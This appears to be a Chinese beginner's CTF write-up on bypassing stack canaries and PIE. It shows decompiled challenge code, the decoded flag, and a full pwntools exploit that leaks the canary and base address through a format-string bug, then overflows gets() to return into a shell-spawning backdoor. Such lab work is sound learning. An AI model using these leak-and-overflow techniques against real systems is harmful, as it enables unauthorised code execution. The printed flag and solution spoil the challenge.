附件:
萌新第一次学习Canary和PIE绕过qwq
用IDA64打开后,简单阅读代码,可以看出该题分为3步:
int __fastcall main(int argc, const char **argv, const char **envp)
{
v23 = __readfsqword(0x28u);
init(argc, argv, envp);
signal(14, handler);
v9 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
qmemcpy(v21, "XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC", sizeof(v21));
v3 = time(0LL);
srand(v3);
v8 = rand() % 256;
chal1(s, 64LL);
if ( strlen(s) > 0x32 )
{
strcpy(v22, "Out of length.\n");
v4 = strlen(v22);
wr1te(1LL, v22, v4);
exit(1);
}
encode(s, v22);
for ( i = 0; i < 160; ++i )
{
v8 = lfsr_h(v8);
if ( i == 156 )
v12 = v8;
if ( i == 157 )
v11 = v8;
if ( i == 158 )
v10 = v8;
if ( i == 159 )
v9 = v8;
}
if ( (unsigned int)compare(v22, v21, 80LL) )
{
strcpy(v16, "Right!\n");
alarm(2u);
v5 = strlen(v16);
wr1te(1LL, v16, v5);
strcpy(v19, "Please solve this calculation:\n");
v14 = (v9 - v10) * v11 % v12;
printf("(( %d - %d ) * %d ) %% %d=?\n", v9, v10, v11, v12);
fgets(nptr, 20, stdin);
alarm(0);
v15 = atoi(nptr);
if ( v15 != v14 )
{
printf("You input:%d , but answer:%d", v15, v14);
exit(1);
}
strcpy(v18, "Right! Here's your gift:\n");
v6 = strlen(v18);
wr1te(1LL, v18, v6);
gift();
}
else
{
puts("Not Right");
}
return 0;
}
__int64 gift()
{
char format[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
gets(format);
printf(format);
fflush(stdout);
return gets(format);
}
int backd00r()
{
return system("/bin/sh");
}
首先是一个XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC的base32解密,解出来是DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}。
然后是计算一个算术题,这个直接用eval算就行了。
然后运行了gift函数。简单可以看出gift函数用了get,存在栈溢出漏洞。根据提示以及checksec的结果,程序用了Canary和PIE保护。而gift这个代码中的奇怪的v2就是cookie的值。而看到用了printf(format),那么就可以用格式化输出来绕过Canary和PIE。
首先看PIE:
然后看Canary:
因为是第一次做pwn的题,一个下午速成了栈溢出,canary和pie绕过。因此做的时候按照教程,直接把canary当成4位变量来做了,最后死活弄不通。结果看了标答才发现canary变量是int64是8位的,差点就做出qwq。
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# 输token
binary = "./attachment"
p = process(binary)
p.recvuntil(b"Please give me your token")
p.sendline(b"DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}")
# 算题目
g = p.recvuntil("=").decode().split("\n")[1]
z = g.split(")")[0].split("(")[2]
mo = int(g.split("%")[1].split("=")[0])
k = eval(g[:-1])
if eval(z) < 0 and k > 0:
k -= mo
p.sendline(str(k).encode())
p.recvuntil(b"Here's your gift:")
# 用fmt格式化漏洞找到canary和基准地址
p.sendline(b"%13$p|%11$p|")
pie_base = int(p.recvuntil(b"|").rstrip(b"|"), 16) - 0x2042
log.info("pie_base: " + hex(pie_base))
canary = int(p.recvuntil(b"|").rstrip(b"|"), 16)
log.info("canary: " + hex(canary))
#gdb.attach(p)
#p.interactive()
backdoor_pos = 0x1426
backdoor_addr = pie_base + backdoor_pos
# 最终payload
payload = b"A" * 40 + p64(canary) + b"A" * 8 + p64(backdoor_addr)
# 发送payload
p.sendline(payload)
p.interactive()